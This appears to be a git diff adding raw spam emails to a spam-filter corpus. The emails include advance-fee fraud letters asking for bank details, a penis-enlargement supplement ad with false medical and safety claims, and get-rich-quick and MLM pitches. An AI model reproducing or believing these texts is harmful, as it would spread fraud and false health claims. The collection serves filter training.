+From: mdtlamp2231@posithiv.ch +Subject: Judicial Judgements-Child Support BGS +Date: Mon, 03 Jun 2002 20:15:26 -1700 +MIME-Version: 1.0 +Reply-To: 106117.3123960@fmec.waka.kindai.ac.jp +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + +
    xXxX= +xXxXxXxXxXxXxXxXxXxXxX


    Thank you for your interest!
    +
    +Judgment Courses offers an extensive training
    +course in     "How to Collect MoneyJudgments"
    +
    +If you are like many people, you are not even sure what a
    +Money Judgment is and     why processing Money Judgments
    +can earn you very substantial income     .
    +
    +If you ever sue a company or a person and you win then you
    +will have a Money Judgment against them.
    +
    +You are happy you won but you will soon find out the
    +shocking fact: "Its now up to you to collect on the
    +Judgment". The court does not require the loser to pay you.
    +The court will not even help you. You must trace the loser
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    +real estate, stocks and bonds, etc.
    +
    +Very few people know how to find these assets or what to do
    +when they are found. The result is that millions of
    +Judgments are just sitting in files and being forgotten.
    +
    +"In 79% of the cases the winner of a Judgment never sees a
    +dime."
    +
    +The non-payment of judicial debt has grown to epidemic
    +proportions. Right now in the United States there is
    +between     200 and 300 billion dollars of uncollectedMoney
    +Judgment debt     . For every Judgment that is paid, 5more
    +Judgments take its place.
    +
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    +actively pursued Judicial Judgments since. We invented this
    +business. We have perfected it into a well proven and solid
    +profession in which only a select few will be trained in the
    +techniques necessary to succeed.
    +
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    +teaches you how to start your business in this new unknown
    +and exciting field of processing Money Judgments.
    +
    +By following the steps laid out in our course and with
    +reasonable effort you can become very successful in the
    +processing of Money Judgments.
    +
    +The income potential is substantial in this profession.     We +have associates who have taken our course and are now
    +working full time making $96,000.00 to over $200,000.00 per
    +year. Part time associates are earning between $24,000.00
    +and $100,000.00 per year     . Some choose to operateout of
    +their home and work by themselves. Others build a sizable
    +organization of 15 to 25 people in attractive business
    +offices.
    +
    +Today our company and our associates have over 126
    +million dollars in Money Judgments that we are currently
    +processing. Of this 126 million, 25 million is in the form
    +of joint ventures between our firm and our associates.
    +Joint ventures are where we make our money. We only break
    +even when our course is purchased. We make a 12% margin on
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    +capability is so extensive that government agencies, police
    +officers, attorneys, credit agencies etc., all come to us
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    +
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    +Many of our associates already have real estate liens in
    +force of between 5 million to over 15 million dollars.
    +Legally this means that when the properties are sold or
    +refinanced our associate must be paid off. The norm is 10%
    +interest compounded annually on unpaid Money Judgments.
    +Annual interest on 5 million at 10% translates to
    +$500,000.00 annually in interest income, not counting the
    +payment of the principal.
    +
    +Our associates earn half of this amount or $250,000.00 per
    +year. This is just for interest, not counting principle
    +and not counting the compounding of the interest which can
    +add substantial additional income. Typically companies are
    +sold for 10 times earnings. Just based on simple interest
    +an associate with 5 million in real estate liens could sell
    +their business for approximately 2.5 million dollars.
    +
    +92% of all of our associates work out of their home; 43%
    +are women and 36% are part time .
    +
    +One of the benefits of working in this field is that you are
    +not under any kind of time frame. If you decide to take off
    +for a month on vacation then go. The Judgments you are
    +working on will be there when you return. The Judgments
    +are still in force, they do not disappear.
    +
    +The way we train you is non-confrontational. You use your
    +computer and telephone to do most of the processing. You
    +never confront the debtor. The debtor doesn't know who you
    +are. You are not a collection agency.
    +
    +Simply stated the steps to successful Money Processing
    +are as follows:
    +
    +Mail our recommended letter to companies and individuals
    +with Money Judgments. (We train you how to find out who
    +to write to)
    +
    +8% to 11% of the firms and people you write will call you
    +and ask for your help. They call you, you don't call them
    +unless you want to.
    +
    +You send them an agreement (supplied in the course) to
    +sign which splits every dollar you collect 50% to you and
    +50% to them. This applies no matter if the judgment is for
    +$2,000.00 or $2,000,000.00.
    +
    +You then go on-line to our computers to find the debtor
    +and their assets. We offer over 120 powerful reports to
    +assist you. They range from credit reports from all three
    +credit bureaus, to bank account locates, employment
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    + + + + + + + diff --git a/bayes/spamham/spam_2/00596.8be778a774ce76c30a7a42a07979bdbe b/bayes/spamham/spam_2/00596.8be778a774ce76c30a7a42a07979bdbe new file mode 100644 index 0000000..92f3763 --- /dev/null +++ b/bayes/spamham/spam_2/00596.8be778a774ce76c30a7a42a07979bdbe @@ -0,0 +1,426 @@ +From hothorn@concentric.net Mon Jun 24 17:48:15 2002 +Return-Path: hothorn@concentric.net +Delivery-Date: Wed Jun 5 12:57:02 2002 +Received: from concentric.net (as4-3-6.ens.s.bonet.se [212.181.55.36]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g55Buw500423 for + ; Wed, 5 Jun 2002 12:56:59 +0100 +Reply-To: +Message-Id: <036e05a43e7d$3422c6b7$3cc77ce3@vwhwtk> +From: +To: Undisclosed@dogma.slashnull.org +Subject: Increase your penis size 25% in 2 weeks! +Date: Wed, 05 Jun 0102 05:50:03 +0600 +MIME-Version: 1.0 +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.2616 +Importance: Normal +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" + + + +Have a BLAST in bed + + +

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    Good news, men! Recent +discoveries in herbal medicine have made it possible for men to +safely and effectively boost their sexual vitality while increasing +their penis size by 25% or more!

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    Certified Natural Laboratories is pleased to introduce the +latest addition to their widely acclaimed line of herbal +supplements: Maxaman™.

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    Specially formulated with herbs and extracts from around +the globe, Maxaman™ can help to enhance sexual sensitivity, +increase sexual stamina, and actually increase the size of your +penis by up to 25%. The special blend of herbs in Maxaman™ +have been shown to boost blood flow to the penis, thus expanding +the sponge-like erectile tissue in the penis, leading to size gains +in both length and thickness.

    + +

    A +recent survey showed that 68% of women are unsatisfied with the +size of their partners. Of course most of these women would never +tell their partner that they are unhappy with their penis size. +Having a small or average-sized penis can result in depression and +feelings of inadequacy. Thankfully, men of all ages can now safely +and naturally increase the size of their penis and renew sexual +vitality without resorting to dangerous surgery.

    + + + + + + + + + + + +
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    What To +Expect:
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    1-2 weeks
    + Most men notice more powerful and longer lasting erections almost +immediately. A noticeable increase in thickness is also +common.
    +
    + 3-8 weeks
    + By this point you should be able to notice an increase in +thickness in both erect and flaccid states, as well as an overall +increase in length.
    +
    + 9 weeks +
    + After nine weeks, your penis should be noticeably larger in both +length and girth.

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    Below is a comparison chart compiled from the most recent +data on penis size. See how you measure up...

    + +

    How to measure your penis size +correctly: To determine length, measure the erect penis +from the base of the penis where the top of the shaft meets the +pubic area (the peno-pubic junction) to the tip of the head. For +uncircumcised men the foreskin should be retracted. To determine +width, measure at mid-shaft around the circumference while the +penis is erect.

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    +Whether you have a small, average or large penis, it is now +possible for you to increase the size of your penis by up to 25% +without resorting to dangerous surgery or cumbersome +weights.

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    The +all-natural proprietary blend of unique herbs found in Maxaman is +designed to restore blood flow, unleash stored testosterone, and +heighten sensation by activating the body's natural hormone +production and supplying vital nutrients necessary for peak sexual +performance. All of the ingredients in Maxaman are stringently +scrutinized, and are guaranteed to be of the highest pharmaceutical +grade.

    + + + + + + + +
    1. How does Maxaman +work?
    +     The all +natural proprietary blend of unique ingredients found in Maxaman is +designed to restore blood flow, unleash stored testosterone, and +heighten sensation by activating the body's natural hormone +production and supplying vital nutrients necessary for peak sexual +performance. The special blend of herbs in Maxaman have been shown +to boost blood flow to the penis, thus expanding the sponge-like +erectile tissue in the penis, leading to size gains in both length +and thickness. + +

    2. Is Maxaman +safe?
    +     Because +Maxaman is an all natural nutritional supplement containing only +the finest botanicals, there are no harmful side effects when taken +as directed. Maxaman is not a pharmaceutical drug and contains none +of the synthetic chemicals found in prescription medications. It is +a safe alternative to dangerous surgery.

    + +

    3. What +can Maxaman do for me?
    + +Common benefits +from using Maxaman include:
    +     Up to a 25% increase in penis length and thickness
    + Increased stamina
    + Improved sexual desire
    + Stronger, more powerful erections
    + Greater control over ejaculation
    + Stronger climaxes and orgasms

    + +

    4. Will +I experience any side effects?
    +     There +are no harmful side effects when taken as directed.

    + +

    5. What ingredients are used in +Maxaman?
    +     Maxaman is all natural, and made from the finest quality +botanicals available. To read more about each of these key +ingredients, please read below for all the details.

    + +

    6. How +should I use Maxaman?
    + The normal +dosage of Maxaman is two capsules with a meal and a glass of water. +The cumulative effects of Maxaman increase with each dosage, making +it even more effective with continued use. Do not exceed six +capsules daily.

    + +

    7. Do I +need a prescription to use Maxaman?
    + No you do not. +Because Maxaman is an all natural nutritional supplement containing +only the finest botanicals, there is no need to obtain a +prescription.

    + +

    8. How +does Maxaman differ from other penis lengthening +procedures?
    + Maxaman is not +a pharmaceutical drug and contains none of the synthetic chemicals +found in prescription medications. It is an all natural formula +designed to boost blood flow to the penis, thus expanding the +sponge-like erectile tissue in the penis, leading to size gains in +both length and thickness. Maxaman provides men with a safe and +natural alternative to potentially dangerous +surgery.

    + +

    9. How +long will it take to get my order?
    + Shipped the same day payment is received in most +cases..

    + +

    10. Is it really safe to order +online?
    + Absolutely! +All information about your order is encrypted, and cannot be viewed +by anyone else. Ordering online using this state-of-the-art +processing system is actually much safer than using your credit +card in a restaurant or at the mall.

    + +

    11. Is +Maxaman shipped discreetly?
    + Yes it is! +Maxaman is sent in an unmarked box with no indication whatsoever as +to what is contained inside.

    + +

    11. How +much is shipping and handling?
    +     +$6.95 for the 1st. bottle and free for any +order more than 1 bottle.

    + +

     

    + + + + + + + +
    +
    The special +blend of herbs in Maxaman™ have been shown to boost +blood flow to the penis, thus expanding the sponge-like erectile +tissue in the penis, leading to size gains in both length and +thickness.
    +       + +

    The proprietary blend of herbs +found in Maxaman™ consists of:

    + +

    +Zinc (as zinc oxide) - This essential mineral is required for +protein synthesis and collagen formation. Sufficient intake and +absorption of zinc are needed to maintain a proper concentration of +Vitamin E.

    + +

    +Yohimbe - Used traditionally to treat impotence and frigidity, +Yohimbe helps to increase blood flow and sensitivity of nerves, +especially in the pelvic region. It is commonly used as an +aphrodisiac to stimulate sexual organs and improve central nervous +system function.

    + +

    +Maca - Maca is an adaptogen. It works to create harmony in the +body, regulating levels of hormones and enzymes to create a state +of homeostasis.

    + +

    +Catuaba - Native to Brazil and parts of the Amazon, Catuaba is +a central nervous system stimulant commonly used throughout the +world for treating sexual impotence, exhaustion and fatigue.
    +
    + Muira Puama - A South American herb, Muira Puama has been +used to treat impotence for hundreds of years. It is highly sought +after for its strong stimulant qualities.

    + +

    +Oyster Meat - Historically +known as an aphrodisiac, oyster meat contains flavonoids that have +been shown to stimulate the reproductive system.

    + +

    +L-Arginine - L-Arginine +is an amino acid which helps to create nitric oxide in the human +body. Nitric oxide is the most essential substance influencing +sexual function in both men and women. Nitric oxide promotes +circulation, resulting in improved blood flow.
    +  

    + +

    +Oatstraw - Used to +treat fatigue and exhaustion, Oatstraw improves brain and nervous +system function and has been used to treat impotence. It is +extremely useful for aiding your body in recovering from +exhaustion, as well as correcting sexual debility.

    + +

    +Nettle Leaf - Acts as a +diuretic, expectorant and tonic. It is rich in iron and chlorophyll +to clean and nourish the blood.

    + +

    Cayenne - Cayenne improves +circulation, increases the metabolic rate and acts as a catalyst +for other herbs.

    + +

    Pumpkin Seed - Pumpkin seed is +commonly used to strengthen the prostate gland and promote male +hormone function. Myosin, an amino acid found in pumpkin seeds, is +known to be essential for muscular contractions.

    + +

    +Sarsaparilla - Found along +the coast of Peru, Sarsaparilla aids in the production of +testosterone and progesterone.

    + +

    +Orchic Substance - This is an +extract from bovine testes, and is proven to increase testosterone +levels without harmful steroids.

    + +

    +Licorice Root - Licorice root fights inflammation, as well as +viral, bacterial and parasitic infection. Licorice cleanses the +colon, and enhances microcirculation in the gastrointestinal +lining.

    + +

    +Tribulus - A natural testosterone enhancer, Tribulus can +improve desire and performance and increase sexual energy. Tribulus +is also an excellent circulatory and heart tonic and can help +dilate arteries. In India it is used as a tonic for the urinary +system.

    + +

    +Ginseng Blend (Siberian, American & Korean) - Commonly used by athletes for overall body strengthening, +Ginseng fortifies the adrenal gland, and promotes healthy +circulation. It increases the conversion rate of sugars into the +necessary substrates for the formation of fatty acids in the liver. +Ginseng stimulates the central nervous system, and is a quick +antidote for fatigue.

    + +

    Astragalus - Regarded as a potent +tonic for increasing energy levels and stimulating the immune +system, Astragalus has also been employed effectively as a +diuretic.

    + +
    +
    Boron +- Boron helps to prevent the loss of calcium, phosphorus and +magnesium through the urine.
    +  
    +
    + +

    + +

    +ORDER NOW!

    + +

    + +Afraid its not for you? Don't worry we offer a LIFETIME +Guarantee! If your not ecstatic with our product, just return the +unused portion for a FULL Refund!! No questions will be +asked!
    +
    +     + +
    Thank you for your time and I hope to hear from you +soon!
    +
    +
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    =20 + + =20 + + +
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    + + Asset Marketing Systems
    + is the insurance = +industry's fastest=20 + growing Field Marketing Organization over the past = +four years.=20 + This year we'll place $1.5 billion in premium, selling = +high-quality,=20 + high-commission fixed annuities to America's 35 = +million Senior=20 + Citizens.
    +
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    +
    + + =20 + + + =20 + + + =20 + + + =20 + + + =20 + + +
    + +
    + Why have so many Agents chosen to do business with Asset = +Marketing=20 + Systems?
    + Asset Marketing is the only FMO in America that + generates qualified leads, helps set appointments, = +structures=20 + product positioning, increases closing ratios and handles = +all the=20 + paperwork... at absolutely no cost to the Agent!
    +
    + We are also proud to report + our Agents routinely earn 20 times the industry average. = +Assuming=20 + you qualify, we'll pick up the entire tab for you to visit = +our corporate=20 + offices in sunny San Diego.
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    3D"One
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    + — or —
    +     =20 + + =20 + + + + + +
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    Please fill out the form below for more = +information
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    +
    +

    + 3D"Asset
    +  
    We=20 + do not want anyone to receive our mailings who does not wish = +to. This=20 + is professional communication sent to insurance = +professionals. To=20 + be removed from this mailing list, DO NOT REPLY to this = +message. Instead,=20 + go here: http://www.Insurancemail.net=20 +
    +
    +
    + Legal = +Notice=20 +
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You can with the new and improved roth +conversion program from GSL Advisory. + +The cheapest and most successful way to generate roth conversion program +leads is to send postcards while also placing an ad in the small local +paper. Repeat the ads and the postcard mailing at least 6 different +times. + +The one truth in advertising is that repetition works. Even the smallest +and most unassuming ad works if it is seen several times. See if you can +find an area that has its own zip code and a local paper serving that +area. Some retirement communities have both a newspaper and their own +zip code. + +This is your gold mine. + +To see the postcard and ad and to learn how to work the system, complete +the form below which will direct you to the post card and how to make it +work for you. + + + +First Name: +Last Name: Note that when you press the "Send Information" +button the screen may not change, but we will still receive your +information and get back to you. Another way to order our sample +presentation is to visit our website at www.gsladvisory.com/froco + . +E-Mail: +Phone#: + + + +These materials are for "agent use only." You should be a practicing, +licensed and appointed annuity agent. +We don't want anyone to receive our mailings who does not wish to. This +is professional communication sent to insurance professionals. To be +removed from this mailing list, DO NOT REPLY to this message. Instead, +go here: http://www.Insurancemail.net + +Legal Notice + +------=_NextPart_000_5B81AF_01C20D87.4EEF5910 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +Ground breaking post card creates annuity leads + + + + + + =20 + + + =20 + + +
    =20 + + =20 + + + =20 + + + =20 + + + =20 + + + =20 + + + + + +
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    +

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    +

    The one truth in advertising is that repetition = +works. Even=20 + the smallest and most unassuming ad works if it is seen = +several=20 + times. See if you can find an area that has its own zip = +code and=20 + a local paper serving that area. Some retirement = +communities have=20 + both a newspaper and their own zip code.

    +

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    +

    To see the postcard and ad and to learn how to work the = +system,=20 + complete the form below which will direct you to the post = +card and=20 + how to make it work for you.
    +  

    +     +
    = + + + + + =20 + + + + + =20 + + + + + =20 + + + + =20 + + + + + +
    First Name:=20 + + =20 + +
    Last Name:=20 + + Note that=20 + when you press the "Send Information" = +button the=20 + screen may not change, but we will still receive = +your information=20 + and get back to you. Another way to order our sample = +presentation=20 + is to visit our website at www.gsladvisory.com/froco.<= +/font>
    E-Mail:=20 + +
    Phone#:=20 + +
    +

    +
    + These materials are for "agent use only." You = +should be=20 + a practicing, licensed and appointed annuity = +agent.
    +
    =20 +

    We = +don't want anyone=20 + to receive our mailings who does not wish to. This is = +professional communication=20 + sent to insurance professionals. To be removed from this mailing = +list,=20 + DO NOT REPLY to this message. Instead, go here: =20 + http://www.Insurancemail.net

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    + Legal Notice=20 +
    + + + +------=_NextPart_000_5B81AF_01C20D87.4EEF5910-- diff --git a/bayes/spamham/spam_2/00634.c37efb809c3c54c2d9661063e7b72f5b b/bayes/spamham/spam_2/00634.c37efb809c3c54c2d9661063e7b72f5b new file mode 100644 index 0000000..55c5206 --- /dev/null +++ b/bayes/spamham/spam_2/00634.c37efb809c3c54c2d9661063e7b72f5b @@ -0,0 +1,44 @@ +From super4_31r@xum5.xumx.com Mon Jun 24 17:48:45 2002 +Return-Path: super4_31r@xum5.xumx.com +Delivery-Date: Fri Jun 7 10:47:31 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g579lU522467 for + ; Fri, 7 Jun 2002 10:47:31 +0100 +Received: from xum5.xumx.com ([208.6.64.35]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.2) with ESMTP id g579lSm16400 for + ; Fri, 7 Jun 2002 10:47:28 +0100 +Date: Fri, 7 Jun 2002 02:50:23 -0400 +Message-Id: <200206070650.g576oMZ10732@xum5.xumx.com> +From: super4_31r@xum5.xumx.com +To: xnvhbukxnz@xum5.xumx.com +Reply-To: super4_31r@xum5.xumx.com +Subject: ADV: Extended Auto Warranty -- even older cars... pobiv +X-Keywords: + +Protect yourself with an extended warranty for your car, minivan, truck or SUV. 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(Don't work anymore) + Web Site? (Takes thousands of surfers) + Banners? (Expensive and losing their punch) + E-Zine? (Hope they have a -huge- subscriber list) + Search Engines? (Forget it, unless you're in the top 10) + + S O W H A T D O E S W O R K ? + +Although often misunderstood, there is one method that has +proven to succeed time-after-time. + + + E - M A I L M A R K E T I N G ! ! + + +Does the thought of $50,000 to $151,200.00 per year make you +tingle with excitement? Many of our customers make that and +more... Click here to find out how: + + +http://32.97.166.75/usinet.zvlavii + + +HERE'S WHAT THE EXPERTS HAVE TO SAY ABOUT E-MAIL MARKETING: + + +"A gold mine for those who can take advantage of +bulk e-mail programs" - The New York Times + +"E-mail is an incredible lead generation tool" +- Crains Magazine + +Click here to find out how YOU can do it: + + +http://32.97.166.75/usinet.zvlavii + +========================================================== + + + + + + +-=-=-=-=-=-=-=-=-=-=-Remove Instructions=-=-=-=-=-=-=-=-=- + +********************************************************** +Do not reply to this message - To be removed from future +mailings, Click Here: + + +mailto:tiana37@flashmail.com?Subject=Remove + +Please do not include correspondence with your remove +request - all requests processed automatically. +********************************************************** + + + + [&*TG0] + + diff --git a/bayes/spamham/spam_2/00640.564b03520087bb4595384ae024ceb929 b/bayes/spamham/spam_2/00640.564b03520087bb4595384ae024ceb929 new file mode 100644 index 0000000..9be8370 --- /dev/null +++ b/bayes/spamham/spam_2/00640.564b03520087bb4595384ae024ceb929 @@ -0,0 +1,119 @@ +From sbello3@caramail.com Mon Jun 24 17:48:50 2002 +Return-Path: sbello3@caramail.com +Delivery-Date: Fri Jun 7 15:55:42 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g57EtfG04534 for + ; Fri, 7 Jun 2002 15:55:41 +0100 +Received: from mail4.caramail.com (mail4.caramail.com [213.193.13.95]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.2) with ESMTP id g57Etem17473 for + ; Fri, 7 Jun 2002 15:55:40 +0100 +Received: from caramail.com (www32.caramail.com [213.193.13.42]) by + mail4.caramail.com (8.8.8/8.8.8) with SMTP id QAA26378; Fri, + 7 Jun 2002 16:42:45 +0200 (DST) +Posted-Date: Fri, 7 Jun 2002 16:42:45 +0200 (DST) +From: bello sankoh +To: sbello3@caramail.com +Message-Id: <1023460551028210@caramail.com> +X-Mailer: Caramail - www.caramail.com +X-Originating-Ip: [193.251.159.222] +MIME-Version: 1.0 +Subject: confidence +Date: Fri, 07 Jun 2002 16:35:51 GMT+1 +Content-Type: multipart/mixed; + boundary="=_NextPart_Caramail_0282101023460551_ID" +X-Keywords: + +This message is in MIME format. Since your mail reader does not understand +this format, some or all of this message may not be legible. + +--=_NextPart_Caramail_0282101023460551_ID +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + +ATTN:MANAGER + + + +HELLO DEAR, + +I am well confidence of your capability to assist me +in +a transaction for mutual benefit for both parties, ie +(me and you) I am also believing that you will not +expose or betray the trust and confidence I am about +to establish on you. I have decided to contact you +with greatest delight and personal respect. + +Well, I am BELLO SANKOH, Son to MR FODAY SANKOH +who was arrested by the ECOMAOG PEACE KEEPING FORCE +months ago in my country Sierra Leone. +Few days before the arrest of my father, he confided +in me and ordered me to go to his underground safe and +move out immediately, with a Deposit Agreement and +Cash Receipt he made with a security Company in +Abidjan Cote d'Ivoire where he deposited One Iron Box +containing USD$ 22 million dollars cash (Twenty Two +Million dollars cash). This money was made from the +sell of +Gold and Diamond by my FATHER and he have already +decided to use this money for future investment of +the family before his arrest. + +Thereafter, I rushed down to Abidjan with these +documents and confirmed the deposit of the box by my +father. Also, I have been granted political stay as a +Refugee by the Government of C=F4te d'Ivoire. + +Meanwhile, my father have instructed me to look for a +trusted foreigner who can assist me to move out this +money from C=F4te d'Ivoire immediately for investment . +Based on this , I solicit for your assistance to +transfer this fund into your Account, but I will +demand for the following requirement: + +(1) Could you provide for me a safe Bank Account where +this fund will be transferred to in your country or +another nearby country where taxation will not +take great toll on the money? + +(2) Could you be able to assist me to obtain my +travelling papers after this transfer to enable me +come over to meet you in your country for +the investment of this money? + +(3) Could you be able to introduce me to a profitable +business venture that would not require much technical +expertise in your country where part of this fund +will be invested? + +Please, all these requirements are urgently needed as +it will enable me to establish a stronger business +relationship with you hence I will like you to be the +general overseer of the investment thereafter. I am a +Christian and I will please, want you to handle this +transaction based on the trust I have established +on you. + +For your assistance in this transaction, I have +decided to offer you 12% percent commission of the +total amount ( 22 million dollars ) at the end of this +business. The security of this business is very +important to me and as such, +I would like you to keep this business very +confidential. + +I shall expect your urgent reply. + +My telephone number is 22507625348. + +Thank you and God bless you +BELLO SANKOH Tel :22507625348 + +_________________________________________________________ +Envoyez des messages musicaux sur le portable de vos amis + http://mobile.lycos.fr/mobile/local/sms_musicaux/ + + +--=_NextPart_Caramail_0282101023460551_ID-- + diff --git a/bayes/spamham/spam_2/00641.b3c1c440f7940c86ab5d1e4f9fa3518b b/bayes/spamham/spam_2/00641.b3c1c440f7940c86ab5d1e4f9fa3518b new file mode 100644 index 0000000..5a954f3 --- /dev/null +++ b/bayes/spamham/spam_2/00641.b3c1c440f7940c86ab5d1e4f9fa3518b @@ -0,0 +1,119 @@ +From sbello3@caramail.com Mon Jun 24 17:48:51 2002 +Return-Path: sbello3@caramail.com +Delivery-Date: Fri Jun 7 15:57:38 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g57EvbG04618 for + ; Fri, 7 Jun 2002 15:57:37 +0100 +Received: from mail4.caramail.com (mail4.caramail.com [213.193.13.95]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.2) with ESMTP id g57Evam17485 for + ; Fri, 7 Jun 2002 15:57:36 +0100 +Received: from caramail.com (www32.caramail.com [213.193.13.42]) by + mail4.caramail.com (8.8.8/8.8.8) with SMTP id QAA26605; Fri, + 7 Jun 2002 16:43:00 +0200 (DST) +Posted-Date: Fri, 7 Jun 2002 16:43:00 +0200 (DST) +From: bello sankoh +To: sbello3@caramail.com +Message-Id: <1023460633032695@caramail.com> +X-Mailer: Caramail - www.caramail.com +X-Originating-Ip: [193.251.159.222] +MIME-Version: 1.0 +Subject: confidence +Date: Fri, 07 Jun 2002 16:37:13 GMT+1 +Content-Type: multipart/mixed; + boundary="=_NextPart_Caramail_0326951023460633_ID" +X-Keywords: + +This message is in MIME format. Since your mail reader does not understand +this format, some or all of this message may not be legible. + +--=_NextPart_Caramail_0326951023460633_ID +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + +ATTN:MANAGER + + + +HELLO DEAR, + +I am well confidence of your capability to assist me +in +a transaction for mutual benefit for both parties, ie +(me and you) I am also believing that you will not +expose or betray the trust and confidence I am about +to establish on you. I have decided to contact you +with greatest delight and personal respect. + +Well, I am BELLO SANKOH, Son to MR FODAY SANKOH +who was arrested by the ECOMAOG PEACE KEEPING FORCE +months ago in my country Sierra Leone. +Few days before the arrest of my father, he confided +in me and ordered me to go to his underground safe and +move out immediately, with a Deposit Agreement and +Cash Receipt he made with a security Company in +Abidjan Cote d'Ivoire where he deposited One Iron Box +containing USD$ 22 million dollars cash (Twenty Two +Million dollars cash). This money was made from the +sell of +Gold and Diamond by my FATHER and he have already +decided to use this money for future investment of +the family before his arrest. + +Thereafter, I rushed down to Abidjan with these +documents and confirmed the deposit of the box by my +father. Also, I have been granted political stay as a +Refugee by the Government of C=F4te d'Ivoire. + +Meanwhile, my father have instructed me to look for a +trusted foreigner who can assist me to move out this +money from C=F4te d'Ivoire immediately for investment . +Based on this , I solicit for your assistance to +transfer this fund into your Account, but I will +demand for the following requirement: + +(1) Could you provide for me a safe Bank Account where +this fund will be transferred to in your country or +another nearby country where taxation will not +take great toll on the money? + +(2) Could you be able to assist me to obtain my +travelling papers after this transfer to enable me +come over to meet you in your country for +the investment of this money? + +(3) Could you be able to introduce me to a profitable +business venture that would not require much technical +expertise in your country where part of this fund +will be invested? + +Please, all these requirements are urgently needed as +it will enable me to establish a stronger business +relationship with you hence I will like you to be the +general overseer of the investment thereafter. I am a +Christian and I will please, want you to handle this +transaction based on the trust I have established +on you. + +For your assistance in this transaction, I have +decided to offer you 12% percent commission of the +total amount ( 22 million dollars ) at the end of this +business. The security of this business is very +important to me and as such, +I would like you to keep this business very +confidential. + +I shall expect your urgent reply. + +My telephone number is 22507625348. + +Thank you and God bless you +BELLO SANKOH Tel :22507625348 + +_________________________________________________________ +Envoyez des messages musicaux sur le portable de vos amis + http://mobile.lycos.fr/mobile/local/sms_musicaux/ + + +--=_NextPart_Caramail_0326951023460633_ID-- + diff --git a/bayes/spamham/spam_2/00642.f213f657ab630999a8d34c26060d79fc b/bayes/spamham/spam_2/00642.f213f657ab630999a8d34c26060d79fc new file mode 100644 index 0000000..54b24cd --- /dev/null +++ b/bayes/spamham/spam_2/00642.f213f657ab630999a8d34c26060d79fc @@ -0,0 +1,89 @@ +From ihjkhangel92470@yahoo.com Mon Jun 24 17:48:56 2002 +Return-Path: ihjkhangel92470@yahoo.com +Delivery-Date: Fri Jun 7 18:43:20 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g57HhKG12031 for + ; Fri, 7 Jun 2002 18:43:20 +0100 +Received: from 211.250.122.194 ([211.250.122.194]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.2) with SMTP id g57HhBm18100 for + ; Fri, 7 Jun 2002 18:43:12 +0100 +Message-Id: <200206071743.g57HhBm18100@mandark.labs.netnoteinc.com> +Received: from [72.62.68.193] by rly-yk04.mx.aol.com with asmtp; + Jun, 07 2002 10:20:35 AM +0600 +Received: from sparc.isl.net ([45.55.85.241]) by anther.webhostingtalk.com + with NNFMP; Jun, 07 2002 9:20:08 AM -0300 +Received: from 34.57.158.148 ([34.57.158.148]) by rly-xr02.mx.aol.com with + local; Jun, 07 2002 8:39:35 AM -0800 +From: phddben tactor +To: Undisclosed.Recipients@mandark.labs.netnoteinc.com +Cc: +Subject: LOOK TEN YRS YOUNGER and get paid for it ! lwl +Sender: phddben tactor +MIME-Version: 1.0 +Date: Fri, 7 Jun 2002 10:40:40 -0700 +X-Mailer: Microsoft Outlook IMO Build 9.0.2416 (9.0.2910.0) +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" + + +GET PAID for it ! + +LOOKING FOR AMBITIOUS LEADERS IN YOUR AREA +to market and distribute our NEW, HOT, PATENTED, EXCLUSIVE PRODUCT.Our income opportunity is a once-in-a-lifetime TIMING issue. IF YOU HAVE A BURNING DESIRE TO CHANGE YOUR FINANCIAL FUTURE … just click at “CLICK HERE” below and enter ” We will immediately send you information sufficient for you to make an educated Business Decision as to whether this is for you or not. AMBITIOUS LEADERS include your NAME, PHONE NUMBER(S), and the best time of day for us to call for just ONE FOLLOW-UP VISIT, +NO HYPE… NO OBLIGATION…Introducing the “Look Good Duo”…. Our EXCLUSIVE” +NEW PATENTED PRODUCT is designed to REPAIR SKIN DAMAGE & REJUVENATE TISSUE! + +Successfully addresses WRINKLES, DARK CIRCLES, AGE SPOTS, FINE LINES, LESIONS, SPIDER VEINS, SKIN TAGS, SCAR TISSUE, CELLULITE, STRETCH MARKS, and MORE for most people the “LookGoodDuo” is Hypoallergenic ! + +Research, which began many years ago, has concluded that ellagic acid, derived from a compound called ellagitannins, is a very powerful substance. The highest concentration of ellagitannins are found in raspberry seeds. The delivery of the ellagitannins, however, is the key to the effectiveness of the product. We use raspberry seed materials processed using a patented method, which is the ONLY method that guarantees the maximum delivery of available phytoestrogens, polyphenols, and antioxidants. + +Ellagic acid from raspberry seed ellagitannins is the most powerful and complete polyphenolic, phytoestrogen, antioxidant material yet discovered! These plant based compounds, or phytoestrogens, when absorbed, provide many beneficial effects including stimulation of collagen formation. + +It is now known that the powerful agents in the raspberry seed materials tone the tiny blood vessels under the eye and decrease the release of the brown chemical pigment. The results are a decrease the appearance of the dark circles under the eyes. These materials also help to decrease the appearance of "AGE" brown spots, while smoothing WRINKLES, strengthening HAIR and NAILS, and supporting many other significant health issues! + +CELLULITE is simply FAT that is tethered down because certain cells in our skin are stimulated by estrogens. The phytoestrogens, polyphenols, and antioxidants from both ORAL and TOPICAL sources of ellagic acid interfere with that tethering process resulting in a smoother skin surface. + +We offer this Patented material in both a tablet and a topical cream. Taken both internally and externally, it is easy to understand how they can achieve such obvious results so quickly, working from the inside-out AND from the outside-in. Happy users report a healthy “GLOW” which they have never achieved with any other product! + + 